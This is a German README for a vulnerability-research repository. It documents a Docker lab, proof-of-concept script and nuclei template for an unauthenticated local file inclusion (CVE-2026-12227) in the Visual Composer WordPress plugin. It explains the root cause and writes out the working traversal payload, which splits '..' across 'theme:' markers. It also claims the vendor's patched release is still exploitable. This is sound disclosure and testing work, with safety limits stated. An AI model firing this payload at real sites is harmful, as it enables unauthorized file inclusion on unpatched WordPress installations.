Docker-Validierungslabor und Safe-Oracle-PoC für CVE-2026-12227, eine nicht authentifizierte LFI in Visual Composer über vcv-template, mit einem nuclei-Erkennungstemplate.
Sicherheitsforschungsmaterial zur Reproduktion und Validierung von CVE-2026-12227: eine unauthentifizierte lokale Dateieinbindung (Local File Inclusion) in der Seitentemplate-Auflösung des Visual Composer Website Builders (CVSS 3.1 9.8), zuzüglich einer verifizierten Diskrepanz beim Hersteller-Fix (siehe unten).
locate_template(), aus dem CVE-2026-87902-Fix) - der Plugin-Code selbst
wurde bis 45.16.3 nie gepatchtAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98Nur auf Systemen verwenden, die Sie besitzen oder für deren Test Sie ausdrücklich autorisiert sind. Der PoC löst harmlose Oracle-Includes aus (Standard-Ausgabe von
wp-links-opml.php/xmlrpc.php). Kein Ablegen von Dateien, keine Schreibvorgänge, keine RCE-Payloads.
Status: im mitgelieferten Labor bewiesen.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
Marker-basierter Nachweis (eine platzierte PHP-Datei in uploads/, eingebunden
und ausgeführt, unauthentifizierter GET) ist Teil der Labor-Evidenz und wird
durch ./lab verify auf der verwundbaren Variante reproduziert.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
hängt sich mit Priorität 11 in template_include ein, ohne Auth-Prüfung:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() weist literale .. zurück. Der Wert wird jedoch erst nach
der Prüfung zusammengesetzt, sodass das Aufteilen jeder Traversierung über
eine theme:-Grenze hinweg die Prüfung passiert:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) liefert rohe
$_POST/$_GET/$_REQUEST zurück, sodass auch vorgelagert nichts bereinigt wird.
locate_template() löst den Kandidaten mit file_exists() auf, was
..-Segmente berücksichtigt.
WordPress 7.1.2 (der CVE-2026-87902-Fix) fügte
_wp_is_template_path_allowed() innerhalb von locate_template()
(wp-includes/template.php) hinzu. Dieses Core-Gate weist den
zusammengesetzten Traversierungs-Kandidaten zurück, sodass auf WP 7.1.2+
diese Plugin-Kette durch den Core maskiert wird - das Plugin wurde nie
gepatcht. Zuordnung im Labor verifiziert: auf 7.1.2 läuft die Sink weiterhin,
ist aber auf das Theme-Verzeichnis beschränkt; auf 7.1.1 entkommt sie.
Praktische Konsequenz: Eine Website, die Visual Composer 45.16.3 (die aktuelle Release, die als gefixt beworben wird) auf WordPress <= 7.1.1 betreibt, ist heute weiterhin unauthentifiziert-LFI-verwundbar. Nur das WordPress-Core-Update neutralisiert dies.
Voraussetzungen: Docker mit Compose v2, Python 3.10+ auf dem Host.
./lab verify
Führt drei Kontrollen aus: verwundbar (WP 7.1.1 + VC 45.16.1, Oracle muss auslösen), gepatcht (WP 7.1.2 + VC 45.16.1, Oracle muss still bleiben), aktuell (WP 7.1.1 + VC 45.16.3, Oracle muss auslösen - die Demonstration der Fix-Diskrepanz).
Verwundbare Kontrolle:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Gepatchte Kontrolle:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
PoC manuell ausführen (Loopback-Standard; autorisierte externe Ziele erfordern die explizite Überschreibung):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
Das nuclei-Template (nuclei/cve-2026-12227.yaml) löst dieselben
Oracle-Payloads über Homepage- + page_id-Anker in Tiefen 3-6 mit
Stop-at-first-match aus.
| Kombination | Ergebnis |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= 45.16.0 Code) | LFI reproduziert (Oracle + Ausführung des platzierten Markers) |
| WP 7.1.1 + VC 45.16.3 (aktuelle Release) | LFI löst weiterhin aus |
| WP 7.1.2 + VC 45.16.1 | Still (durch Core-Gate maskiert) |
| VC 45.16.2 | Fix-Diff geprüft; verwundbarer Pfad unverändert (nicht separat ausgeführt) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
Nicht eingecheckt: assets/ (Plugin-Zips), .lab-state, __pycache__/.
| Behauptung | Status |
|---|---|
| Unauthentifizierte LFI bis zur PHP-Ausführung außerhalb des Theme-Verzeichnisses | Bewiesen (Oracle + platzierter Marker) |
| Hersteller-Fix fehlt bis 45.16.3 | Bewiesen (Code-Diff + Live-Auslösung auf 45.16.3) |
| WP 7.1.2 Core-Maskierung | Bewiesen (gleiche Anfrage still auf 7.1.2, löst auf 7.1.1 aus) |
| Tiefen-Semantik | 3 Ebenen hoch zum Docroot von themes//; Sweep deckt 3-6 ab |
| RCE über pearcmd/write-Ketten auf realen Zielen | Nicht ausgeführt (Safe-Oracle-only-PoC) |
| 45.16.0 (ursprüngliche betroffene Release) | Code-identisch zu 45.16.1; deren wp.org-Zip enthält kein vendor/ und lässt sich nicht installieren |
Die Advisories geben an, dass der Fix in 45.16.1 landet, aber der verwundbare
Codepfad ist in jeder Release bis 45.16.3 unverändert (verifiziert durch
Tree-Diffs und Live-Auslösung). Wenn Sie Visual Composer warten:
viewPageTemplate() muss den Wert nach dem theme:-Strip erneut validieren
(oder ablehnen), nicht davor. Websites sollten sich bei diesem Fall nicht auf
Plugin-Updates verlassen - das WordPress 7.1.2 Core-Update ist das, was ihn
tatsächlich schließt.
Führen Sie dieses Repository nur auf Systemen aus, die Sie besitzen oder für
deren Test Sie ausdrücklich autorisiert sind. Der Labor-Treiber lehnt
unbekannte Varianten ab, der PoC lehnt Nicht-Loopback-Ziele ab, sofern nicht
--allow-authorized-non-loopback angegeben wird, und der Compose-Port ist an
127.0.0.1 gebunden.
Siehe SECURITY.md für den Umgang mit Offenlegungen. Dieses Repository enthält keine Produktionsziele, Kundendaten, Zugriffstoken oder Evidenz aus realen Systemen.
MIT - siehe LICENSE.